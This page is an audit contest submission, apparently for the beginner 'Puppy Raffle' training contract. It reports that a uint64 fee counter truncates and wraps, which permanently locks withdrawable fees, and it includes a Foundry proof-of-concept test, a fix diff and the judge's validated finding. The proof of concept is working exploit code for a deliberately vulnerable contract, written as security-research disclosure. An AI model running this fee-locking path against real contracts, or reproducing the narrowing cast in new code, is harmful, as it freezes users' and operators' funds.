Puppy Raffle

AI First Flight #1

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: high

Valid

uint64 totalFees with unchecked 0.7.6 arithmetic truncates or wraps fees above ~18.45 ETH, so withdrawFees reverts forever and all accrued and future protocol fees are locked

friedsocks233

Root + Impact

Description

Each selectWinner call should add 20% of the round's entrance fees to totalFees. Between rounds the contract balance should then equal totalFees, so withdrawFees can send the full accumulated fee amount to feeAddress.
totalFees is a uint64, which holds at most 2^64 - 1 wei (about 18.4467 ETH). L134 adds each round's uint256 fee to it through an explicit uint64(fee) cast, under pragma ^0.7.6 with no SafeMath. A single-round fee of 2^64 wei or more is therefore silently truncated, and a running sum past 2^64 silently wraps. The ETH stays in the contract, so the balance exceeds totalFees by a multiple of 2^64 wei (exactly 2^64 in the PoC). From then on the strict equality check in withdrawFees (L158) fails in normal operation, and no other function can send the fees to feeAddress.

// src/PuppyRaffle.sol L2, L28-L30, L131-L134, L157-L158

pragma solidity ^0.7.6;

// We do some storage packing to save gas

address public feeAddress;

uint64 public totalFees = 0; // @>

uint256 totalAmountCollected = players.length * entranceFee;

uint256 prizePool = (totalAmountCollected * 80) / 100;

uint256 fee = (totalAmountCollected * 20) / 100;

totalFees = totalFees + uint64(fee); // @>

function withdrawFees() external {

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); // @>

Risk

Likelihood:

Single round: the overflow happens when one round collects about 92.23 ETH or more in entrance fees, because the 20% fee then reaches 2^64 wei. At the deploy script's entranceFee of 1 ETH, that is 93 entrants. enterRaffle is permissionless, and the PoC enters 93 distinct addresses in one call for about 5.8M gas, well under the block gas limit.
Across rounds: the counter wraps when fees left unwithdrawn pass 2^64 wei in total. The PoC shows this after 24 four-player rounds at 1 ETH (0.8 ETH fee each) with no withdrawFees call in between. Anyone can call withdrawFees between rounds, so this path also needs the fees to go unwithdrawn for 23 or more rounds.
Both paths need much more volume than the 4-player minimum, either a large raffle or one deliberately large entry. A successful raffle could plausibly reach that volume, but it is not guaranteed, so likelihood is Medium.

Impact:

The whole fee balance becomes unwithdrawable. In the PoC the contract holds 18.6 ETH of fees but records totalFees = 153,255,926,290,448,384 wei (about 0.153 ETH). withdrawFees reverts with "There are currently players active!" even though no players are active, and feeAddress receives nothing.
The loss covers later rounds too. Each later round adds its fee to both the balance and totalFees, so the 2^64 gap stays and every future protocol fee joins the locked amount. In the PoC, two more rounds add 1.6 ETH and withdrawFees still reverts.
Nothing can recover the funds. The contract has no sweep or rescue function. The owner's only related function, changeFeeAddress, does not affect the equality check: the PoC calls it and withdrawFees still reverts.

Proof of Concept

The PoC (test/PoC_PR-05.t.sol) deploys PuppyRaffle with entranceFee = 1 ETH and a 1-day duration. A baseline test shows that a 4-player round records 0.8 ETH and withdraws correctly. The single-round test enters 93 players, calls selectWinner and asserts that totalFees == 153255926290448384 (18.6e18 - 2^64) while the contract holds 18.6 ETH. It then asserts that withdrawFees reverts both before and after changeFeeAddress, and that the 2^64 gap remains after two more rounds. The cumulative test asserts that the counter wraps to 753255926290448384 after 24 four-player rounds while 19.2 ETH is held; run all three with forge test --match-path test/PoC_PR-05.t.sol -vv.

File test/PoC_PR-05.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-05.t.sol -vv.

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

import {PuppyRaffle} from "../src/PuppyRaffle.sol";

/// PR-05: totalFees is uint64 (L30) and L134 does `totalFees = totalFees + uint64(fee);`

/// under pragma ^0.7.6 with no SafeMath. A single-round fee >= 2^64 wei (~18.4467 ETH)

/// is silently truncated by the narrowing cast, and a running sum past 2^64 silently

/// wraps. The ETH stays in the contract, so balance - totalFees becomes a multiple of

/// 2^64 and the strict equality in withdrawFees (L158) can never hold again.

contract PoC_PR05 is Test {

PuppyRaffle raffle;

uint256 constant FEE = 1e18; // entranceFee used by the repo's deploy script and tests

uint256 constant DURATION = 1 days;

address feeAddress = address(0xFEE);

address owner = address(0xA11CE);

address payer = address(0xBEEF);

uint256 constant TWO_POW_64 = 18446744073709551616; // 2^64

uint256 constant UINT64_MAX = 18446744073709551615;

function setUp() public {

vm.prank(owner);

raffle = new PuppyRaffle(FEE, feeAddress, DURATION);

}

// ---------- helpers ----------

function _players(uint256 n, uint256 offset) internal pure returns (address[] memory ps) {

ps = new address[](n);

for (uint256 i = 0; i < n; i++) {

// plain EOAs, well clear of the precompile range

ps[i] = address(uint160(0x10000 + offset + i));

}

function _round(uint256 n, uint256 offset) internal {

address[] memory ps = _players(n, offset);

vm.deal(payer, n * FEE);

vm.prank(payer);

raffle.enterRaffle{value: n * FEE}(ps);

vm.warp(block.timestamp + DURATION + 1);

raffle.selectWinner();

}

// ---------- baseline: intended behaviour below the uint64 ceiling ----------

function test_baseline_feesRecordedAndWithdrawable() public {

_round(4, 0); // 4 ETH collected, 0.8 ETH fee

assertEq(uint256(raffle.totalFees()), 0.8 ether, "fee recorded exactly");

assertEq(address(raffle).balance, 0.8 ether, "balance == fees");

raffle.withdrawFees();

assertEq(feeAddress.balance, 0.8 ether, "feeAddress paid");

assertEq(uint256(raffle.totalFees()), 0, "counter reset");

assertEq(address(raffle).balance, 0, "contract emptied");

}

// ---------- limb 1: single-round truncation by the uint64 cast ----------

function test_singleRound_93Players_feeTruncated_andWithdrawLocked() public {

uint256 n = 93;

address[] memory ps = _players(n, 0);

vm.deal(payer, n * FEE);

uint256 g0 = gasleft();

vm.prank(payer);

raffle.enterRaffle{value: n * FEE}(ps); // anyone can enter 93 distinct addresses

uint256 gasUsed = g0 - gasleft();

console.log("enterRaffle(93 players) gas:", gasUsed);

assertLt(gasUsed, 30_000_000, "fits in a block");

vm.warp(block.timestamp + DURATION + 1);

raffle.selectWinner();

uint256 realFee = (n * FEE * 20) / 100; // 18.6 ETH

assertEq(realFee, 18.6 ether);

assertGt(realFee, UINT64_MAX, "real fee exceeds uint64 max");

uint256 recorded = uint256(raffle.totalFees());

console.log("real fee (wei): ", realFee);

console.log("recorded totalFees: ", recorded);

console.log("contract balance (wei):", address(raffle).balance);

// recorded fee is the low 64 bits: 18.6e18 - 2^64

assertEq(recorded, 153255926290448384, "fee truncated to ~0.153 ETH");

assertEq(recorded, realFee - TWO_POW_64);

// the ETH itself is still in the contract

assertEq(address(raffle).balance, 18.6 ether, "18.6 ETH of fees held");

assertEq(address(raffle).balance - recorded, TWO_POW_64, "gap is exactly 2^64 wei");

// withdrawFees now reverts, even with no active players

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

assertEq(feeAddress.balance, 0, "feeAddress received nothing");

// owner cannot rescue: changing the fee address does not help

vm.prank(owner);

raffle.changeFeeAddress(address(0xD00D));

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

// permanence: later normal rounds add their fees to the locked pile

_round(4, 1000);

_round(4, 2000);

assertEq(address(raffle).balance, 18.6 ether + 1.6 ether, "future fees accrue");

assertEq(uint256(raffle.totalFees()), 153255926290448384 + 1.6 ether);

assertEq(address(raffle).balance - uint256(raffle.totalFees()), TWO_POW_64, "gap persists");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

assertEq(feeAddress.balance, 0);

assertEq(address(0xD00D).balance, 0);

}

// ---------- limb 2: cumulative wraparound of the uint64 sum ----------

function test_cumulative_24RoundsNoWithdraw_counterWraps_andWithdrawLocked() public {

// 23 rounds x 0.8 ETH = 18.4 ETH < 2^64 wei: still consistent

for (uint256 r = 0; r < 23; r++) {

_round(4, r * 10);

}

assertEq(uint256(raffle.totalFees()), 18.4 ether, "no wrap yet");

assertEq(address(raffle).balance, 18.4 ether);

assertEq(address(raffle).balance, uint256(raffle.totalFees()), "withdraw would still succeed here");

// round 24 pushes the sum past 2^64 and the counter wraps

_round(4, 23 * 10);

uint256 recorded = uint256(raffle.totalFees());

console.log("after 24 rounds, recorded totalFees:", recorded);

console.log("after 24 rounds, contract balance: ", address(raffle).balance);

assertEq(recorded, 753255926290448384, "counter wrapped to ~0.753 ETH");

assertEq(recorded, 19.2 ether - TWO_POW_64);

assertEq(address(raffle).balance, 19.2 ether, "19.2 ETH of fees held");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

assertEq(feeAddress.balance, 0, "feeAddress received nothing");

}

Recommended Mitigation

--- a/src/PuppyRaffle.sol

+++ b/src/PuppyRaffle.sol

@@ -28,3 +28,3 @@

// We do some storage packing to save gas

address public feeAddress;

- uint64 public totalFees = 0;

+ uint256 public totalFees = 0;

@@ -131,4 +131,4 @@

uint256 totalAmountCollected = players.length * entranceFee;

uint256 prizePool = (totalAmountCollected * 80) / 100;

uint256 fee = (totalAmountCollected * 20) / 100;

- totalFees = totalFees + uint64(fee);

+ totalFees = totalFees + fee;

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[H-05] Typecasting from uint256 to uint64 in PuppyRaffle.selectWinner() May Lead to Overflow and Incorrect Fee Calculation

## Description ## Vulnerability Details The type conversion from uint256 to uint64 in the expression 'totalFees = totalFees + uint64(fee)' may potentially cause overflow problems if the 'fee' exceeds the maximum value that a uint64 can accommodate (2^64 - 1). ```javascript totalFees = totalFees + uint64(fee); ``` ## POC <details> <summary>Code</summary> ```javascript function testOverflow() public { uint256 initialBalance = address(puppyRaffle).balance; // This value is greater than the maximum value a uint64 can hold uint256 fee = 2**64; // Send ether to the contract (bool success, ) = address(puppyRaffle).call{value: fee}(""); assertTrue(success); uint256 finalBalance = address(puppyRaffle).balance; // Check if the contract's balance increased by the expected amount assertEq(finalBalance, initialBalance + fee); } ``` </details> In this test, assertTrue(success) checks if the ether was successfully sent to the contract, and assertEq(finalBalance, initialBalance + fee) checks if the contract's balance increased by the expected amount. If the balance didn't increase as expected, it could indicate an overflow. ## Impact This could consequently lead to inaccuracies in the computation of 'totalFees'. ## Recommendations To resolve this issue, you should change the data type of `totalFees` from `uint64` to `uint256`. This will prevent any potential overflow issues, as `uint256` can accommodate much larger numbers than `uint64`. Here's how you can do it: Change the declaration of `totalFees` from: ```javascript uint64 public totalFees = 0; ``` to: ```jasvascript uint256 public totalFees = 0; ``` And update the line where `totalFees` is updated from: ```diff - totalFees = totalFees + uint64(fee); + totalFees = totalFees + fee; ``` This way, you ensure that the data types are consistent and can handle the range of values that your contract may encounter.

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!